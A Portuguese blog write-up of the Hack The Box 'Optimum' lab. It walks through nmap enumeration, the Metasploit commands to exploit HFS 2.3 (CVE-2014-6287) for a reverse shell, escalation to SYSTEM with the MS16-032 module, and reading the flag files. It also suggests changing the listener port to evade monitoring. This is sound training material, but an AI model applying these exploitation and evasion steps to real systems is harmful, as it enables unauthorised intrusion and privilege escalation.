Hack The Box – Optimum Writeup (Usando Metasploit)
- Arthur Souza
- Writeups
- 12 de maio de 2023
Hoje veremos o writeup completo da máquina Optimum do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Optimum
Descrição
A máquina Optimim é uma máquina de nível iniciante que se concentra principalmente na enumeração de serviços com exploits conhecidos. Ambas as explorações são fáceis de obter e possuem módulos Metasploit associados, tornando esta máquina bastante simples de concluir.
Conhecimento requeridos:
- Conhecimento básico em Windows
- Enumeração de portas e serviços
Conhecimento que serão aprendidos:
- Identificação de serviços vulneráveis
- Identificação de explorações conhecidas
- Técnicas básicas de escalonamento de privilégios do Windows
Reconhecimento
Para começar, criaremos uma variável chamada “ports”. Seu valor será o resultado da execução do NMAP no endereço IP da máquina Optimum, seguido pelo parsing do resultado para obter apenas as portas obtidas pelo NMAP.
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Em seguida, podemos executar o NMAP novamente no mesmo endereço IP, desta vez incluindo as portas identificadas anteriormente e habilitando as flags -sC e -sV.
A opção -sC (equivalente a -script=default) indica ao NMAP para executar o script padrão de detecção de vulnerabilidades e informações sobre os serviços em execução nas portas abertas. Esse script pode ajudar a identificar potenciais vulnerabilidades nos serviços e também fornecer informações detalhadas sobre os mesmos.
A opção -sV (equivalente a -version-intensity=7) solicita que o NMAP faça uma tentativa de identificação da versão do serviço em execução nas portas abertas. Isso pode ajudar a identificar o tipo de serviço e sua versão, o que pode ser útil para determinar se há vulnerabilidades conhecidas ou para fins de identificação de sistema.
Em resumo, a opção -sC permite executar um script de detecção de vulnerabilidades e informações sobre serviços, enquanto a opção -sV tenta identificar a versão do serviço em execução nas portas abertas.
nmap -sC -sV -p$ports 10.10.10.8
Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.
Resultado do scan:
Com base no screenshot acima, é possível notar que o serviço ativo é TCP/80 (HTTP). Acessando o serviço, é possível constatar que se trata de um HFS-HttpFileServer e que a versão em uso é a 2.3.
Fazendo uma pesquisa por “HFS exploit”, foi possível identificar o link https://www.exploit-db.com/exploits/39161 .
Exploração (Shell inicial)
Neste caso, podemos verificar que existe uma CVE associada à exploração deste serviço (cve-2014-6287). A partir disso, é possível utilizar o Metasploit para procurar por módulos de exploração desse serviço.
msfconsole
search hfs 2.3
Dentre os módulos disponíveis no Metasploit, o que coincide com a pesquisa que realizamos é o “exploit/windows/http/rejetto_hfs_exec”. Iremos utilizá-lo para explorar a vulnerabilidade encontrada no serviço.
use exploit/windows/http/rejetto_hfs_exec
Para visualizar as configurações necessárias para utilizar o módulo, podemos utilizar o comando abaixo:
info
Aqui podemos obter mais informações sobre o módulo. Na seção “Referências”, é possível notar que ele faz referência ao siteCVE-2014-6287 , o qual menciona o CVE que identificamos anteriormente no site exploit-db.com
Além disso, podemos visualizar as configurações necessárias para utilizar o módulo. É importante ressaltar que antes de definir as configurações, é uma boa prática analisar todas as opções disponíveis com o comando abaixo para garantir que os requisitos necessários sejam atendidos antes de utilizar o módulo:
show options
Aqui podemos observar que é necessário informar o endereço IP do alvo, bem como o endereço IP da nossa própria máquina (o IP atribuído quando nos conectamos à VPN), juntamente com a porta que ficará em modo “listening” para a conexão reversa.
Para definir o endereço IP da máquina alvo, podemos utilizar o seguinte comando:
set rhost 10.10.10.8
Para definir o endereço IP da nossa própria máquina, que será utilizada como atacante, podemos utilizar o seguinte comando:
set lhost tun0
Uma observação importante é que podemos definir o endereço IP da nossa máquina atacante, mas caso haja dúvidas sobre o IP atribuído, podemos referenciar a interface “tun0”, que é habilitada quando nos conectamos à VPN, e assim obter o IP da VPN que utilizamos.
Por padrão, a porta utilizada para o modo “listening” do módulo é a 4444, mas é recomendável alterar a porta para uma que seja comumente utilizada no ambiente real, a fim de evitar ser detectado por logs ou monitoramento do ambiente.
Agora que as informações foram configuradas corretamente, podemos executar o módulo para explorar a vulnerabilidade.
run
Após a execução do módulo com sucesso, podemos usar o comando “getuid” para verificar se obtemos uma shell no sistema alvo com o usuário “Kostas”.
Com a shell obtida pelo Metasploit, podemos navegar pelos diretórios e ler arquivos, porém, para obter uma shell interativa com o sistema, podemos utilizar o comando abaixo:
shell
Ao analisarmos os usuários do sistema, podemos verificar que além do usuário Kostas, há também o usuário Administrator. No entanto, ao tentarmos acessar o diretório do usuário Administrator, provavelmente nos depararemos com restrições de permissão que nos impedirão de acessar seus arquivos.
cd c:\users
dir
cd Administrator
Nesse ponto, é necessário elevar os privilégios do usuário obtido para continuar a explorar o sistema.
Podemos retornar ao modo do Metasploit usando o comando EXIT e aproveitar os recursos disponíveis para analisar o sistema alvo e descobrir possíveis vulnerabilidades que permitam a elevação de privilégios. Para obter mais informações sobre o sistema, podemos utilizar o comando abaixo.
sysinfo
Na saída do comando anterior, é possível verificar que a arquitetura do sistema é de 64 bits. Com a sessão ativa, podemos utilizar o módulo Suggester para analisar o sistema em busca de métodos para a exploração e elevação de privilégios. Para isso, vamos utilizar os comandos abaixo para salvar a sessão e executar o módulo.
bg
Aqui estamos validando se a sessão que salvamos anteriormente ainda está ativa e disponível para uso.
show sessions
Aqui estamos configurando o módulo Suggester para uso na sessão ativa. O módulo Suggester analisa o sistema de destino para identificar possíveis vulnerabilidades de escalonamento de privilégios.
use post/multi/recon/local_exploit_suggester
Observação: Para usarmos este módulo, basta setar a sessão que desejamos que ele faça a validação e executar o mesmo.
set session 1
run
Aqui, o módulo Suggester enumera todos os exploits e módulos relevantes para a máquina alvo, além de validar possíveis módulos existentes no próprio Metasploit que possam ser usados para exploração e elevação de privilégios.
Os módulos identificados pelo Suggester para uso são:
- exploit/windows/local/bypassuac_eventvwr
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Ao tentar usar esses módulos, o único que se mostrou efetivo foi o módulo exploit/windows/local/ms16_032_secondary_logon_handle_privesc, cujos passos serão listados abaixo.
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
Para usar este módulo, você precisa selecionar a sessão ativa correspondente ao alvo, bem como especificar o endereço IP da máquina atacante (o endereço atribuído pela conexão VPN), e também pode escolher uma porta para o modo LISTENING se desejar alterar a porta padrão 4444.
Para selecionar a sessão ativa, use o comando abaixo:
set session 1
Setando o IP da máquina atacante
set lhost tun0
Executando o módulo:
run
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Flags do sistema
Podemos usar a shell interativa do sistema para obter as FLAGs do sistema.
shell
Flag user.txt
shell
type c:\users\kostas\desktop\user.txt
Flag root.xt
type c:\users\administrator\desktop\root.txt
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !